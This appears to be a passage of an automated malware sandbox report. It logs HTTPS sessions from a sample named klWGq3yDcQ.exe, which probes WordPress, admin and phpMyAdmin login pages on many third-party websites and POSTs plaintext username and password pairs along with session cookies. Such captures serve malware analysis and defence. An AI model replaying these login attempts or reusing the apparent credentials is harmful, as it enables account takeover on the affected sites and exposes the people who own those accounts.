.3s;transition:background .3s,box-shadow .3s;transit
2023-11-26 05:59:49 UTC	7822	IN	Data Raw: 79 3a 30 7d 68 65 61 64 65 72 2e 65 74 2d 6c 2e 65 74 2d 6c 2d 2d 68 65 61 64 65 72 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 32 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 2e 32 73 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 42 6f 74 74 6f 6d 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 Data Ascii: y:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0
2023-11-26 05:59:49 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.4	52660	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	395	OUT	POST /wp/wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.ceuandalucia.es/wp/wp-login.php Content-Length: 158 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:46 UTC	158	OUT	Data Raw: 6c 6f 67 3d 63 72 6f 6d 61 6e 32 37 33 25 34 30 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 26 70 77 64 3d 68 6f 6c 61 61 61 61 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 41 63 63 65 64 65 72 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 25 32 46 77 70 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=croman273%40ceuandalucia.es&pwd=holaaaa&rememberme=forever&wp-submit=Acceder&redirect_to=https%3A%2F%2Fwww.ceuandalucia.es%2Fwp%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:47 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:46 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=
2023-11-26 05:59:47 UTC	7413	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: <!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="es" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.4	52696	34.240.130.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	175	OUT	GET /admin HTTP/1.1 Host: www.harasduberry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	231	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 30 34 38 30 30 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingstrict-transport-security: max-age=604800Server: nginx
2023-11-26 05:59:47 UTC	16153	IN	Data Raw: 31 66 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 66 72 2d 46 52 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 2e 6a 69 6d 63 64 6e 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6a 69 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e Data Ascii: 1f37<!DOCTYPE html><html lang="fr-FR"><head> <meta charset="utf-8"/> <link rel="dns-prefetch preconnect" href="https://u.jimcdn.com/" crossorigin="anonymous"/><link rel="dns-prefetch preconnect" href="https://assets.jimstatic.com/" crossorigin
2023-11-26 05:59:47 UTC	16384	IN	Data Raw: 76 61 75 78 20 c3 a0 20 76 65 6e 64 72 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 0d 0a 31 66 66 32 0d 0a 20 69 64 3d 22 63 63 2d 6e 61 76 2d 76 69 65 77 2d 32 31 31 35 39 31 35 33 37 39 22 20 63 6c 61 73 73 3d 22 6a 6d 64 2d 6e 61 76 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 30 20 6a 2d 6e 61 76 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 22 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 66 6f 73 2d 70 72 61 74 69 71 75 65 73 2d 70 61 72 2d 72 61 63 65 2f 22 20 64 61 74 61 2d 6c 69 6e 6b 2d 74 69 74 6c 65 3d 22 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 22 3e 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 3c 2f 61 3e 3c 73 70 61 6e 20 64 61 74 61 2d 6e 61 76 69 2d 74 6f 67 67 6c 65 3d 22 63 63 Data Ascii: vaux vendre</a></li></ul></li><li1ff2 id="cc-nav-view-2115915379" class="jmd-nav__list-item-0 j-nav-has-children"><a href="/infos-pratiques-par-race/" data-link-title="Infos pratiques par race">Infos pratiques par race</a><span data-navi-toggle="cc
2023-11-26 05:59:47 UTC	7301	IN	Data Raw: 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 5c 6e 5c 6e 4c 65 73 20 63 6f 6f 6b 69 0d 0a 66 66 38 0d 0a 65 73 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 20 70 65 72 6d 65 74 74 65 6e 74 20 61 75 20 76 69 73 69 74 65 75 72 20 64 75 20 73 69 74 65 20 64 27 61 75 74 6f 72 69 73 65 72 20 6c 65 73 20 73 65 72 76 69 63 65 73 5c 2f 63 6f 6f 6b 69 65 73 20 73 5c 75 30 30 65 39 6c 65 63 74 69 6f 6e 6e 5c 75 30 30 65 39 73 20 65 74 20 65 6e 72 65 67 69 73 74 72 65 6e 74 20 6c 65 75 72 73 20 70 72 5c 75 30 30 65 39 66 5c 75 30 30 65 39 72 65 6e 63 65 73 20 65 6e 20 6d 61 74 69 5c 75 30 30 65 38 72 65 20 64 65 20 63 6f 6f 6b 69 65 73 2e 5c 6e 5c 6e 50 72 65 73 74 61 74 61 69 72 65 20 3a 5c 6e 4a 69 6d 64 6f 20 47 6d 62 48 2c 20 53 74 Data Ascii: ntr\u00f4le Jimdo\n\nLes cookiff8es de contr\u00f4le Jimdo permettent au visiteur du site d'autoriser les services\/cookies s\u00e9lectionn\u00e9s et enregistrent leurs pr\u00e9f\u00e9rences en mati\u00e8re de cookies.\n\nPrestataire :\nJimdo GmbH, St

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.4	52666	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	581	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 32 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:47 GMTContent-Type: text/html; charset=UTF-8Content-Length: 6238Connection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EngineSet-Cookie:
2023-11-26 05:59:47 UTC	6238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 49 53 20 4f 66 66 72 6f 61 64 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TIS Offroad — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javascri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.4	53143	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	168	OUT	GET /admin/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	294	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 70 61 67 65 73 2f 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:46 GMTServer: Apache/2.4.52 (Ubuntu)location: https://ce-logic.com/admin/pages/vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateContent-Length: 0Connection: closeCon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.4	52530	164.52.221.51	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	336	OUT	POST /wp-login.php HTTP/1.1 Host: gccb.co.in Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://gccb.co.in/wp-login.php Content-Length: 125 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:46 UTC	125	OUT	Data Raw: 6c 6f 67 3d 69 6e 66 6f 26 70 77 64 3d 69 6e 66 6f 67 63 63 62 63 6f 69 6e 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 67 63 63 62 2e 63 6f 2e 69 6e 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=info&pwd=infogccbcoin&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fgccb.co.in%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:48 UTC	412	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 30 2e 32 30 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:47 GMTServer: ApacheX-Powered-By: PHP/8.0.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%
2023-11-26 05:59:48 UTC	6704	IN	Data Raw: 31 61 32 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 Data Ascii: 1a28<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; The Godhra City Co-op Bank Ltd. — WordPress</title><meta name='robots' content='max-image-preview:lar
2023-11-26 05:59:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.4	52614	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	916	OUT	GET /wp-admin/ HTTP/1.1 Host: www.knu.ac.in Accept: / Accept-Encoding: deflate, gzip Cookie: laravel_session=eyJpdiI6IjhxTUZQUlJiWjZFZnVkTkdlVzBJT1E9PSIsInZhbHVlIjoiK2pwQ2VQblNuTkxzcTE4aGRCVmQ1cTZHVVlVODhEL1hyaXBSMUx2azFoUmVkdXdYSFhEQzFnK1ZzTGdnR1Y5d1RrZU4rNlB1d2RlMDZ0a2RiNExSV25STnBUZEFoS1p4OGVacDdUckdxazdmL3hDOWtZaFJpUHJiSnRPQUlzbjciLCJtYWMiOiI4NjI2OGU4MDVhZmY1ZDg2Yjk0ZGY0NDhkMTQxNzAyMDZmNTNhNDUyYWZhYzVmZWQwYTVhYTU5M2RjMzVhNzdmIn0%3D; XSRF-TOKEN=eyJpdiI6IjFVQUlOU0JNOEkvUDBEKytURkN5V0E9PSIsInZhbHVlIjoiUllCNGk4WHF2aTloUjJpZHBmSzZHU0RZMWRHYmY1eEdWd1AxRFlVZTd5RVpjTXE4bE9PRktraFNYem9JbWtBRFVYc2tzME9QM3VRVXg0cWpScjFRak1JdUI1RGxwOG10YVJkMDI5UGY1UW9Ea0hGbUxkM01ycjBFMlYvSUhRRUciLCJtYWMiOiI1OWU0MDk3YTE4MGU1NTZiN2Y4YTkyOGNjY2VmMGNhMGRlNWQ3OTRjNzAzZjM2YWM0YThlZTA5NzgyMTBjM2ZkIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.knu.ac.in/wp-login.php
2023-11-26 05:59:47 UTC	1099	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 58 53 52 46 2d 54 4f 4b 45 4e 3d 65 79 4a 70 64 69 49 36 49 6b 6c 32 64 33 46 61 54 31 46 45 52 6b 46 79 64 6d 77 79 4e 47 4a 34 53 6b 4e 79 62 6d 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 6b 74 76 64 58 64 7a 4f 46 5a 30 59 31 4e 46 52 47 6b 76 51 55 39 42 4e 6d 70 4b 4e 57 74 58 4f 44 42 46 4d 47 52 69 57 55 6c 54 55 48 4a 77 53 55 31 6c 4e 56 70 71 64 31 46 58 55 53 74 71 5a 55 6f 30 63 30 63 76 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:47 GMTServer: ApacheCache-Control: no-cache, privateSet-Cookie: XSRF-TOKEN=eyJpdiI6Ikl2d3FaT1FERkFydmwyNGJ4SkNybmc9PSIsInZhbHVlIjoibktvdXdzOFZ0Y1NFRGkvQU9BNmpKNWtXODBFMGRiWUlTUHJwSU1lNVpqd1FXUStqZUo0c0cv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.4	53012	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	175	OUT	GET /wp-admin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	456	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:47 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressUpgrade: h2,h2cConnection: Upgrade, closeLocation: https://

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.4	53083	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	301	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: k8spersistent=1203cc93bf326997096bfdc5c2cf4d3f\|11f187638643e13d7bd1963991fac52b; OF=1qiejf8u62psuvsa49d0c1jep6 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	426	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 30 0d 0a 65 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 